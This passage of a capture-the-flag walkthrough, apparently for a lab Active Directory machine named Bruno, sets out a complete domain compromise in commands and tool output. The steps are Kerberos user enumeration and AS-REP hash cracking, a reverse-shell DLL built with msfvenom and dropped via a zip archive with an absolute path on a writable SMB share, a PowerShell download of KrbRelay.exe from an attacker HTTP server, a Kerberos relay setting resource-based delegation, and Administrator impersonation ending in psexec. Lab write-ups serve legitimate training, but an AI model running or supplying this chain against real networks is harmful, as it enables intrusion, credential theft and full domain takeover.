files.`Delete` might tell us that it deletes the `zip archive` after unzipping it which confirms our hypothesis. + +The `Combine` might be the abuse here : if we manage to implement a file inside an archive that has an `absolute path` (here, a Windows absolute path) it might get extracted directly in that path. + +```bash +> grep -aoiE '[a-z0-9._-]+' changelog SampleScanner.runtimeconfig.dev.json | sort -u | less + +changelog:- +changelog:0.1 +changelog:0.2 +changelog:0.3 +changelog:additional +changelog:automation +changelog:dev +changelog:EICAR +changelog:for +changelog:functionality +changelog:initial +changelog:integrated +changelog:site +changelog:string +changelog:support +changelog:svc_scan +changelog:using +changelog:Version +changelog:with +SampleScanner.runtimeconfig.dev.json:additionalProbingPaths +SampleScanner.runtimeconfig.dev.json:arch +SampleScanner.runtimeconfig.dev.json:C +SampleScanner.runtimeconfig.dev.json:.dotnet +SampleScanner.runtimeconfig.dev.json:.nuget +SampleScanner.runtimeconfig.dev.json:packages +SampleScanner.runtimeconfig.dev.json:runtimeOptions +SampleScanner.runtimeconfig.dev.json:store +SampleScanner.runtimeconfig.dev.json:tfm +SampleScanner.runtimeconfig.dev.json:Users +SampleScanner.runtimeconfig.dev.json:xct +``` + +We got `Users : xct` and `svc_scan` as a `Microsoft Service`. + +We'll build a userlist with those and `Administrator` and `kerbrute userenum` : + +```bash +>  nano bruno.txt +>  cat bruno.txt +xct +svc_scan +Administrator +>  kerbrute userenum -d bruno.vl --dc 10.129.238.9 bruno.txt + +   __             __               __       +  / /_____  _____/ /_  _______  __/ /____   + / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ +/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/ +/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                          + +Version: dev (n/a) - 06/27/26 - Ronnie Flathers @ropnop + +2026/06/27 17:33:06 >  Using KDC(s): +2026/06/27 17:33:06 >   10.129.238.9:88 + +2026/06/27 17:33:06 >  [+] VALID USERNAME:       Administrator@bruno.vl +2026/06/27 17:33:06 >  [+] svc_scan has no pre auth required. Dumping hash to crack offline: +[REDACTED] +2026/06/27 17:33:06 >  [+] VALID USERNAME:       svc_scan@bruno.vl +``` + +We got `svc_scan` with a hash `$krb5asrep$18$svc_scan@BRUNO.VL..`, so `krb..user@DOMAIN` which matches `Kerberos AS-REP etype 18 (RC4-HMAC)` and `hashcat -m 18200`. + +We'll decrypt it : + +```bash +>  GetNPUsers.py bruno.vl/ -usersfile bruno.txt -no-pass -format hashcat -outputfile asrep.hashcat -dc-ip 10.129.238.9 + +Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   + +[REDACTED] +[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set +>  cat asrep.hashcat + +[REDACTED] +>  hashcat -m 18200 asrep.hashcat /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt + +hashcat (v7.1.2) starting + +OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project] +====================================================================================================================================== +* Device #01: cpu-haswell-AMD Ryzen 5 3500U with Radeon Vega Mobile Gfx, 8912/17824 MB (8912 MB allocatable), 8MCU + +Minimum password length supported by kernel: 0 +Maximum password length supported by kernel: 256 +Minimum salt length supported by kernel: 0 +Maximum salt length supported by kernel: 256 + +Hashes: 1 digests; 1 unique digests, 1 unique salts +Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates +Rules: 1 + +Optimizers applied: +* Zero-Byte +* Not-Iterated +* Single-Hash +* Single-Salt + +ATTENTION! Pure (unoptimized) backend kernels selected. +Pure kernels can crack longer passwords, but drastically reduce performance. +If you want to switch to optimized kernels, append -O to your commandline. +See the above message to find out about the exact limits. + +Watchdog: Temperature abort trigger set to 90c + +Host memory allocated for this attack: 514 MB (14233 MB free) + +Dictionary cache hit: +* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt +* Passwords.: 14344384 +* Bytes.....: 139921497 +* Keyspace..: 14344384 + +$krb5asrep$23$svc_scan@BRUNO.VL:[REDACTED]:Sunshine1 +                                                           +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) +Hash.Target......: $krb5asrep$23$svc_scan@BRUNO.VL:[REDACTED] +Time.Started.....: Sat Jun 27 17:53:33 2026 (0 secs) +Time.Estimated...: Sat Jun 27 17:53:33 2026 (0 secs) +Kernel.Feature...: Pure Kernel (password length 0-256 bytes) +Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt) +Guess.Queue......: 1/1 (100.00%) +Speed.#01........:  1246.0 kH/s (3.53ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 32768/14344384 (0.23%) +Rejected.........: 0/32768 (0.00%) +Restore.Point....: 24576/14344384 (0.17%) +Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 +Candidate.Engine.: Device Generator +Candidates.#01...: 271087 -> dyesebel +Hardware.Mon.#01.: Temp: 72c Util: 18% + +Started: Sat Jun 27 17:53:32 2026 +Stopped: Sat Jun 27 17:53:35 2026 +``` + +We got `svc_scan:Sunshine1`. + +We'll confirm with `netexec` : + +```bash +>  nxc smb 10.129.238.9 -u svc_scan -p 'Sunshine1' --shares + +SMB         10.129.238.9    445    BRUNODC          [*] Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (signing:True) (SMBv1:None) (Null Auth:True) +SMB         10.129.238.9    445    BRUNODC          [+] bruno.vl\svc_scan:Sunshine1   +SMB         10.129.238.9    445    BRUNODC          [*] Enumerated shares +SMB         10.129.238.9    445    BRUNODC          Share           Permissions     Remark +SMB         10.129.238.9    445    BRUNODC          -----           -----------     ------ +SMB         10.129.238.9    445    BRUNODC          ADMIN$                          Remote Admin +SMB         10.129.238.9    445    BRUNODC          C$                              Default share +SMB         10.129.238.9    445    BRUNODC          CertEnroll      READ            Active Directory Certificate Services share +SMB         10.129.238.9    445    BRUNODC          IPC$            READ            Remote IPC +SMB         10.129.238.9    445    BRUNODC          NETLOGON        READ            Logon server share   +SMB         10.129.238.9    445    BRUNODC          queue           READ,WRITE        +SMB         10.129.238.9    445    BRUNODC          SYSVOL          READ            Logon server share   +>  nxc winrm 10.129.238.9 -u svc_scan -p 'Sunshine1' +WINRM       10.129.238.9    5985   BRUNODC          [*] Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl)   +WINRM       10.129.238.9    5985   BRUNODC          [-] bruno.vl\svc_scan:Sunshine1 +``` + +We have `READ,WRITE` in `queue`. Which means we can write a `.zip` file containing an `absolute path named file` inside. + +We'll craft a payload using `msfvenom` : + +```bash +msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.129 LPORT=9000 -f dll -o Microsoft.DiaSymReader.Native.amd64.dll +[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload +[-] No arch selected, selecting arch: x64 from the payload +No encoder specified, outputting raw payload +Payload size: 460 bytes +Final size of dll file: 9216 bytes +Saved as: Microsoft.DiaSymReader.Native.amd64.dll +``` + +We write it as `Microsoft.DiaSymReader.Native.amd64.dll` since `SampleScanner.exe` is looking for this file. + +Then, we put it inside an `absolute path` to abuse the `program` we found : + +```bash +python3 - <<'PY' +import zipfile +source = "Microsoft.DiaSymReader.Native.amd64.dll" +zip_name = "scrow.zip" +arcname = r"C:\samples\app\Microsoft.DiaSymReader.Native.amd64.dll" +with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as zf: +   zf.write(source, arcname=arcname) +print(f"Wrote {zip_name}") +print(f"Entry name: {arcname}") +PY +Wrote scrow.zip +Entry name: C:\samples\app\Microsoft.DiaSymReader.Native.amd64.dll +``` + +`scrow.zip` now contains the `absolute path named file.` + +We launch a `netcat` listener : + +```bash +>  rlwrap nc -lvnp 9000 + +Listening on 0.0.0.0 9000 +``` + +And upload our malicious .zip file via our `WRITE` privilege on `SMB` via netexec : + +```bash +>  nxc smb 10.129.238.9 -u svc_scan -p 'Sunshine1' --share queue --put-file scrow.zip scrow.zip + +SMB         10.129.238.9    445    BRUNODC          [*] Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (signing:True) (SMBv1:None) (Null Auth:True) +SMB         10.129.238.9    445    BRUNODC          [+] bruno.vl\svc_scan:Sunshine1   +SMB         10.129.238.9    445    BRUNODC          [*] Copying scrow.zip to scrow.zip +SMB         10.129.238.9    445    BRUNODC          [+] Created file scrow.zip on \\queue\scrow.zip +``` + +Now, we wait for the program to find our `zip` file and open it the absolute path instead of the `baseFolder` and open the `windows/x64/shell_reverse_tcp` payload redirecting the target to our `VPN IP` through the `LHOST` : `tcp port 9000` we configured with `msfvenom` as the `.dll` we crafted. + +Our listener gets the shell : + +```bash +>  rlwrap nc -lvnp 9000 + +Listening on 0.0.0.0 9000 +Connection received on 10.129.238.9 65196 +Microsoft Windows [Version 10.0.20348.768] +(c) Microsoft Corporation. All rights reserved. + +C:\Windows\system32>cd /Users +cd /Users + +C:\Users>dir +dir +Volume in drive C has no label. +Volume Serial Number is 076D-3413 + +Directory of C:\Users + +06/29/2022  04:09 PM              . +10/04/2024  09:28 PM              Administrator +09/15/2021  03:12 PM              Public +10/04/2024  09:28 PM              svc_scan +              0 File(s)              0 bytes +              4 Dir(s)   2,424,438,784 bytes free + +C:\Users>type C:\Users\svc_scan\Desktop\user.txt +type C:\Users\svc_scan\Desktop\user.txt +[REDACTED] +``` + +And we got the user flag. + +```PowerShell +C:\Windows\system32>whoami /priv +whoami /priv + +PRIVILEGES INFORMATION +---------------------- + +Privilege Name                Description                    State     +============================= ============================== ======== +SeMachineAccountPrivilege     Add workstations to domain     Disabled +SeChangeNotifyPrivilege       Bypass traverse checking       Enabled   +SeIncreaseWorkingSetPrivilege Increase a process working set Disabled + +C:\Windows\system32>whoami /groups +whoami /groups + +GROUP INFORMATION +----------------- + +Group Name                                  Type             SID          Attributes                                          +=========================================== ================ ============ ================================================== +Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group +BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group +BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group +BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\BATCH                          Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group +CONSOLE LOGON                               Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group +NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group +LOCAL                                       Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group +Authentication authority asserted identity  Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group +Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448 +``` + +We try `nxc ldap` to get the `Machine Account Quota` of the service account : + +```bash +>  nxc ldap 10.129.238.9 -u svc_scan -p 'Sunshine1' -M maq + +LDAP        10.129.238.9    389    BRUNODC          [*] Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (signing:None) (channel binding:Never)   +LDAP        10.129.238.9    389    BRUNODC          [+] bruno.vl\svc_scan:Sunshine1   +MAQ         10.129.238.9    389    BRUNODC          [*] Getting the MachineAccountQuota +MAQ         10.129.238.9    389    BRUNODC          MachineAccountQuota: 10 +``` + +That means we can create `10 Machine Accounts.` +Our `SeMachineAccountPrivilege` is `disabled` on this shell. + +We'll use `bloodyad` to add the `Machine Account` anyways, it appears in `whoami /priv` and the `Active Directory` allows for the creation of the `Machine Account` despite the `svc_scan` shell saying it's `disabled`. + +```bash +>  /usr/bin/bloodyad -d bruno.vl -u svc_scan -p Sunshine1 --host 10.129.238.9 get object scrowpc$ + +distinguishedName: CN=scrowpc,CN=Computers,DC=bruno,DC=vl +accountExpires: 9999-12-31 23:59:59.999999+00:00 +badPasswordTime: 1601-01-01 00:00:00+00:00 +badPwdCount: 0 +cn: scrowpc +codePage: 0 +countryCode: 0 +dNSHostName: scrowpc.bruno.vl +dSCorePropagationData: 1601-01-01 00:00:00+00:00 +instanceType: 4 +isCriticalSystemObject: False +lastLogoff: 1601-01-01 00:00:00+00:00 +lastLogon: 1601-01-01 00:00:00+00:00 +localPolicyFlags: 0 +logonCount: 0 +mS-DS-CreatorSID: S-1-5-21-1536375944-4286418366-3447278137-1104 +nTSecurityDescriptor: O:S-1-5-21-1536375944-4286418366-3447278137-512G:S-1-5-21-1536375944-4286418366-3447278137-513D:(OA;;WP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-1 +536375944-4286418366-3447278137-1104)(OA;;WP;bf967950-0de6-11d0-a285-00aa003049e2;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-1536375944-4286418366-3447278137-1104)(OA;;WP;bf967953-0de6-11d0-a285-00aa003049e2 +;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-1536375944-4286418366-3447278137-1104)(OA;;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-1536375944-4286418366-3447278137-1 +104)(OA;;SW;72e39547-7b18-11d1-adef-00c04fd8d5cd;;S-1-5-21-1536375944-4286418366-3447278137-1104)(OA;;SW;f3a64788-5306-11d1-a9c5-0000f80367c1;;S-1-5-21-1536375944-4286418366-3447278137-1104)(OA;;WP;4c164200-20c +0-11d0-a768-00aa006e0529;;S-1-5-21-1536375944-4286418366-3447278137-1104)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-1536375944-4286418366-3447278137-517)(OA;;0x3;bf967aa8-0de6-11d0-a285-00aa003049 +e2;;S-1-5-32-550)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OA;;SW;72e39547-7b18-11d1-adef-00c04fd8d5cd;;S-1-5-10)(OA;;SW;f3a64788-5306-11d +1-a9c5-0000f80367c1;;S-1-5-10)(OA;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0x20194;;;S-1-5-21-1536375944-4286418366-3447278137-1104)(A;;0xf01ff;;;S-1-5-21-1536375944-4286418366-3447278137-512)(A +;;0xf01ff;;;S-1-5-32-548)(A;;0x3;;;S-1-5-10)(A;;0x20094;;;S-1-5-11)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;4c164 +200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5 +-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-90 +20-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04 +fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939; +bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-1536375944-4286418366-3447278137-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-1 +536375944-4286418366-3447278137-527)(OA;ID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;;S-1-5-21-1536375944-4286418366-3447278137-1104)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa +003049e2;S-1-3-0)(OA;CIID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA; +CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;WP;ea1b7b93-5 +e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-5 +54)(OA;CIIOID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf0 +1ff;;;S-1-5-21-1536375944-4286418366-3447278137-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544) +name: scrowpc +objectCategory: CN=Computer,CN=Schema,CN=Configuration,DC=bruno,DC=vl +objectClass: top; person; organizationalPerson; user; computer +objectGUID: d461171f-3b4b-418c-b44b-efd3a31c258e +objectSid: S-1-5-21-1536375944-4286418366-3447278137-5101 +primaryGroupID: 515 +pwdLastSet: 2026-06-28 18:57:19.585364+00:00 +sAMAccountName: scrowpc$ +sAMAccountType: 805306369 +servicePrincipalName: RestrictedKrbHost/scrowpc.bruno.vl; RestrictedKrbHost/scrowpc; HOST/scrowpc.bruno.vl; HOST/scrowpc +uSNChanged: 98445 +uSNCreated: 98443 +userAccountControl: WORKSTATION_TRUST_ACCOUNT +whenChanged: 2026-06-28 18:57:19+00:00 +whenCreated: 2026-06-28 18:57:19+00:00 +``` + +`objectSid: S-1-5-21-1536375944-4286418366-3447278137-5101` + +We'll stage `KrbRelay.exe` : + +Terminal where `KrbRelay.exe is` : + +```bash +> python3 -m http.server 8889 --bind 10.10.14.129 + +Serving HTTP on 10.10.14.129 port 8889 (http://10.10.14.129:8889/) ... +``` + +On the `svc_scan` shell, we `cd` to `windows\tasks` (writable) and `get KrbRelay.exe from our http server` : + +```bash +C:\Windows\system32>cd C:\windows\tasks + +cd C:\windows\tasks + +C:\Windows\Tasks>C:\Windows\Tasks>powershell -ep bypass -c "Invoke-WebRequest -Uri http://10.10.14.129:8889/KrbRelay.exe -OutFile C:\windows\tasks\KrbRelay.exe" +``` + +We got `10.129.238.9 - - [28/Jun/2026 21:17:15] "GET /KrbRelay.exe HTTP/1.1" 200 -` on our `http server` and the `tasks directory on the svc_scan shell` shows the malware : + +``` +Directory of C:\windows\tasks + +06/28/2026  07:17 PM         1,618,432 KrbRelay.exe +              1 File(s)      1,618,432 bytes +              0 Dir(s)   2,552,868,864 bytes free +``` + +We'll then use the `CLSID` and the `objectSid` : + +```PowerShell +C:\Windows\Tasks>KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5101 -port 10246 + +KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5101 -port 10246 +[*] Relaying context: bruno.vl\BRUNODC$ +[*] Rewriting function table +[*] Rewriting PEB +[*] GetModuleFileName: System +[*] Init com server +[*] GetModuleFileName: C:\Windows\Tasks\KrbRelay.exe +[*] Register com server +objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAABIBUbpfOAjoB8u+EluEeH4AlgAAOgZ//+PJb3Ii/IloyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==: + +[*] Forcing SYSTEM authentication +[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8 +System.Runtime.InteropServices.COMException (0x80070422): The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. + +The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. + +  at KrbRelay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults) +  at KrbRelay.Program.Main(String[] args) + +C:\Windows\Tasks> +C:\Windows\Tasks>KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid D99E6E73-FC88-11D0-B498-00A0C90312F3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5101 -port 10246 + +KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid D99E6E73-FC88-11D0-B498-00A0C90312F3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5101 -port 10246 +[*] Relaying context: bruno.vl\BRUNODC$ +[*] Rewriting function table +[*] Rewriting PEB +[*] GetModuleFileName: System +[*] Init com server +[*] GetModuleFileName: C:\Windows\Tasks\KrbRelay.exe +[*] Register com server +objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAD3JY9eMHHPlyV+nRcsYyJzAuwAAIQZ//+iSsj2yiumTyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==: + +[*] Forcing SYSTEM authentication +[*] Using CLSID: d99e6e73-fc88-11d0-b498-00a0c90312f3 +[*] apReq: 608206d506092a864886f71201020201006e8206c4308206c0a003020105a10302010ea20703050020000000a382050761820503308204ffa003020105a10a1b084252554e4f2e564ca2233021a003020102a11a30181b046c6461701b106272756e6f6 +4632e6272756e6f2e766ca38204c5308204c1a003020112a103020108a28204b3048204af22ee204c912bf40197a31c21943615d6a0a19e00a6650795ca24f07aecb821acae12b7c40915123971c7c274a8d39258a13465dcaa8ef4a2e0e5b99b9756ad3df4078da79 +acd7cd1a2a74ffbd20b6a0717ea394d7f6f39a167cdb21f11ba7c20a7fe9d4ef3cebfff0db450b66c04e4f011725d7526d90f6d1f36d45da3c988bdcceea114cee4654c8e154f14698d79b1f4810ed4001bc0561b0f69aad5eec90a3b21f22e02a1942144eeff11ef2 +2e714fd4bb8a11e65f1702ff5b8f505fac4433a850aebb5f26955d9dcc03d429a108cbdfda9fe80285ab8fa1916ffdfcb36ffff9853186bebc224dc79d53113e5e207e5bf39d6f97c3ff713bde4df194ef9a7931a6bb932e20c498434eac9a47b372d5eeb459797b61 +2295d40796d340e841940c6168256ec976b5c6f3bd660d0f0d274a46cc0b2289708cceb5d9e64012053a5d24e13f299b405fbc06d9beb6ebe35c2f78848a0d485df5b9adeee53ae528d4a9ae2eb0548bd0a3ac5583e7ced66a9bf7c99c398fb49b8ab2437522e6f28e +76e1b772e5df22c0f8f35ae8da82a470ba65ddcd463058da76ea3b58d895c1e5cebb0c07145cd6c20c61b557b582ce9d3592a710242fc3c19103538c5ed40ebdd38369317afc6fe22dde6f502e5d06506ddc4fd0dd8f6db55ac2922129288d6a825cb031255f1f72e4 +8e3c918ea632a6c633aed81e72419d39cc9421998b0c49aca395d955e4f0d46b1be4e9aae9854708aee77ef5d2d3df01122883ff83d718d96724b02d2c79edbba7ce653fb8ee9ccc0fe0c7282ba7fc870838d47e99ecc276a4dbb246393e26da575e4f0ee07cdda66d +64d01e60ea6f00fc662b5bf9bc6ef0d24236cdbf379cfd7b9d79b430801cf9378966a34950bd3540652d9d00f6c13d262b4c0b621ed2ef720365e8430d726a4f4774e3e86c08621a71f19ee77cd51a829542e6552e1dffe7ae1be88a22d7974ac08e3db682a71f02d2 +afb301bf0c06625019c6d599180f9d632ba28e16dd1f250008d2b36ce090d0918fc4773c70599f4ec298e3e7a743d8d2e2560ba9f0285bc4d7d2edd2cf44ff9f109cdc4829fbda053deeda4db0389348e68c0a507dcb995c2d7e7e4365a6b5bdc705b55a114aa47379 +1bca978dc3873cf4d71a41a8b05961c1e6cb98599c550a50269e5913cb3cc7b0bd0e6844b361017e7ce904b47b9388b3290ced80adf0394b519c02c8d91e7132c93283dd4900e397b7f61186f7b5011727dc9ee2dc2c4a207e1c3c9649952dff0c8a5b687e2ce21830 +c9800aad6d3224fb56315561af6242d135e97c108a767359fe8136927bde2c308599978ca0bdd3e49d7516c388e57fb5253c80efc92f55930517efdcb705c695585d1bbe2a6397d053b48e6089bf91e6cdf94d1e1f0506aae085ec354a049ae1fa002bc93ceabe65e7 +249c6f288aa855d540c646fd802c357b65083c3f16225590c3b8f54553d0b346701e613cb5bed99f8463caf3df866d1ea101dedefa58248040012e95f999ff80a81cfd54432c5702004a81a26b811f60931846d85d328a0d74ac4a537709ef3fd5dd405790e915ce5f +9862e5fab469a089ee541aa5a3669e05f4d28bb226d47f33796287cfd0f538b840edde5a8e6326e0409d3d59276c32a05d754d929d6d4189b5798bd0560ef0b71d55fe64d86fadb17570a2ad1cf160009a482019e3082019aa003020112a28201910482018d8960cd9 +52240180168826445945d0d7b2bcc5ba483fa5b81faea6ebb19b50a76741239e1525f3aa26cb2d2907a650fc2196722174477e92bf59b7ee0f01ffa3689f041bbd30fef70597a6981a1f546e2e83e8fc2738ce6f55bff97b80206455567ea3ec4b2cab5a6df29b10c4 +3c9ccf3a828091bd9edba638641dd65275c59f643e81c8c280bf360ea3e08ec7055c113ddf11ae000e13cdc961e8ab0fcdc1864531e8be35bfbe572ca026dddfd95a58acab56b42a3b736dc6a7bd2b4b3a157e9bc126ef5ae7f4338507cbba25a9015489364368cf99 +689848f62a8979d195a5f00e422906c907ca8432da430027a1df5e3b0a5a65315741d60184ed6b4be58ec6bb4e441910dc212d03de1c7130df35493ce4a51e48dbd2386637820971db57695e5a1d06cb5d17754590466f87396feae4e85deedbafc96a374a3da88dc6 +fa1cab0d7ee009660d56eec4d58c22656f93deaf6596ef44d77e8d848bb4a89085a6c1952c549b90aeab2b482e1588d13f0cf9658304a01376417ecc7c680607ff1e0b8c4077ce9d8dc6bb0136af1 +[*] bind: 0 +[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS +[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e0be23d8ac8402458ff8c4bb7e557b5e0375549710c80e33232c3106f97c27fe3d25cb7cc577e302a647d42790c5a472f4183318d9f49e02978b6a2e33b6f5663be336bb69516 +[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e0be23d8ac8402458ff8c4bb7e557b5e0375549710c80e33232c3106f97c27fe3d25cb7cc577e302a647d42790c5a472f4183318d9f49e02978b6a2e33b6f5663be336bb69516 +8529a6a8a9993054c20209a878d526f711eb359d00917f3002b1a82873f4579d4673b7158c8b7e24 +[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED +[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection +[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442a2c0b4f25ecebcbffeed58bbcb0dac0eda9aeec652550dcf2d3b3fcd0a9b40612b1c7dd98b8b5e0e5947993de0b75bea2c66ac662386334e1f3c8af8a6232a24860f +[*] bind: 0 +[*] ldap_get_option: LDAP_SUCCESS +[+] LDAP session established +[*] ldap_modify: LDAP_SUCCESS +``` + +So now, `scrowpc$` (which we control) has `msDS-AllowedToActOnBehalfOfOtherIdentity` which means we can impersonate the `DC Admin` with it. + +We'll use impacket with our computer's delegation rights to get the `Domain Administrator service ticket as credential cache` : + +```bash +>  getST.py -dc-ip 10.129.238.9 -spn host/brunodc.bruno.vl -impersonate Administrator 'bruno.vl/scrowpc$:[REDACTED]' +Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   + +[-] CCache file is not found. Skipping... +[*] Getting TGT for user +[*] Impersonating Administrator +[*] Requesting S4U2self +[*] Requesting S4U2Proxy +[*] Saving ticket in Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache +``` + +Then, we'll save the `credential cache` and use it : + +```bash +>  export KRB5CCNAME=/home/vagabond/Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache + +>  psexec.py -k -no-pass bruno.vl/Administrator@brunodc.bruno.vl -dc-ip 10.129.238.9 + +Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   + +[*] Requesting shares on brunodc.bruno.vl..... +[*] Found writable share ADMIN$ +[*] Uploading file EIaRhPLR.exe +[*] Opening SVCManager on brunodc.bruno.vl..... 